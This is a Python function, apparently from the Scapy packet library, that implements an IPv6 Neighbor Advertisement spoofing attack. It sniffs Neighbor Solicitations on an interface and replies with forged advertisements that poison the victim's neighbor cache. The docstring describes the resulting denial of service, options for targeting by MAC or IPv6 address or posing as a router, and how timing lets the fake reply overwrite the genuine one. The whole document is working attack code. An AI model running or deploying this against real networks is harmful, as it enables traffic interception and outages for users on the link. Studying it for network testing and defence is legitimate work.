docs: def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
                             reply_mac=None, router=False):
      """
      The main purpose of this function is to send fake Neighbor Advertisement
      messages to a victim. As the emission of unsolicited Neighbor Advertisement
      is pretty pointless (from an attacker standpoint) because it will not
      lead to a modification of a victim's neighbor cache, the function send
      advertisements in response to received NS (NS sent as part of the DAD,
      i.e. with an unspecified address as source, are not considered).
  
      By default, the fake NA sent to create the DoS uses:
       - as target address the target address found in received NS.
       - as IPv6 source address: the target address
       - as IPv6 destination address: the source IPv6 address of received NS
         message.
       - the mac address of the interface as source (or reply_mac, see below).
       - the source mac address of the received NS as destination macs address
         of the emitted NA.
       - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
         filled with the mac address used as source of the NA.
  
      Following arguments can be used to change the behavior:
  
      iface: a specific interface (e.g. "eth0") of the system on which the
            DoS should be launched. If None is provided conf.iface is used.
  
      mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
           Only NS messages received from this source will trigger replies.
           This allows limiting the effects of the DoS to a single target by
           filtering on its mac address. The default value is None: the DoS
           is not limited to a specific mac address.
  
      tgt_filter: Same as previous but for a specific target IPv6 address for
           received NS. If the target address in the NS message (not the IPv6
           destination address) matches that address, then a fake reply will
           be sent, i.e. the emitter will be a target of the DoS.
  
      reply_mac: allow specifying a specific source mac address for the reply,
           i.e. to prevent the use of the mac address of the interface. This
           address will also be used in the Target Link-Layer Address option.
  
      router: by the default (False) the 'R' flag in the NA used for the reply
           is not set. If the parameter is set to True, the 'R' flag in the
           NA is set, advertising us as a router.
  
      Please, keep the following in mind when using the function: for obvious
      reasons (kernel space vs. Python speed), when the target of the address
      resolution is on the link, the sender of the NS receives 2 NA messages
      in a row, the valid one and our fake one. The second one will overwrite
      the information provided by the first one, i.e. the natural latency of
      Scapy helps here.
  
      In practice, on a common Ethernet link, the emission of the NA from the
      genuine target (kernel stack) usually occurs in the same millisecond as
      the receipt of the NS. The NA generated by Scapy6 will usually come after
      something 20+ ms. On a usual testbed for instance, this difference is
      sufficient to have the first data packet sent from the victim to the
      destination before it even receives our fake NA.
      """
  
      def is_request(req, mac_src_filter, tgt_filter):
          """
          Check if packet req is a request
          """
  
          # Those simple checks are based on Section 5.4.2 of RFC 4862
          if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
              return 0
  
          mac_src = req[Ether].src
          if mac_src_filter and mac_src != mac_src_filter:
              return 0
  
          # Source must NOT be the unspecified address
          if req[IPv6].src == "::":
              return 0
  
          tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
          if tgt_filter and tgt != tgt_filter:
              return 0
  
          dst = req[IPv6].dst
          if in6_isllsnmaddr(dst):  # Address is Link Layer Solicited Node mcast.
  
              # If this is a real address resolution NS, then the destination
              # address of the packet is the link-local solicited node multicast
              # address associated with the target of the NS.
              # Otherwise, the NS is a NUD related one, i.e. the peer is
              # unicasting the NS to check the target is still alive (L2
              # information is still in its cache and it is verified)
              received_snma = inet_pton(socket.AF_INET6, dst)
              expected_snma = in6_getnsma(tgt)
              if received_snma != expected_snma:
                  print("solicited node multicast @ does not match target @!")
                  return 0
  
          return 1
  
      def reply_callback(req, reply_mac, router, iface):
          """
          Callback that reply to a NS with a spoofed NA
          """
  
          # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
          # send it back.
          mac = req[Ether].src
          pkt = req[IPv6]
          src = pkt.src
          tgt = req[ICMPv6ND_NS].tgt
          rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src)
          # Use the target field from the NS
          rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1)  # noqa: E741
  
          # "If the solicitation IP Destination Address is not a multicast
          # address, the Target Link-Layer Address option MAY be omitted"
          # Given our purpose, we always include it.
          rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
  
          sendp(rep, iface=iface, verbose=0)
  
          print("Reply NA for target address %s (received from %s)" % (tgt, mac))
  
      if not iface:
          iface = conf.iface
      # To prevent sniffing our own traffic
      if not reply_mac:
          reply_mac = get_if_hwaddr(iface)
      sniff_filter = "icmp6 and not ether src %s" % reply_mac
  
      router = (router and 1) or 0  # Value of the R flags in NA
  
      sniff(store=0,
            filter=sniff_filter,
            lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
            prn=lambda x: reply_callback(x, reply_mac, router, iface),
            iface=iface)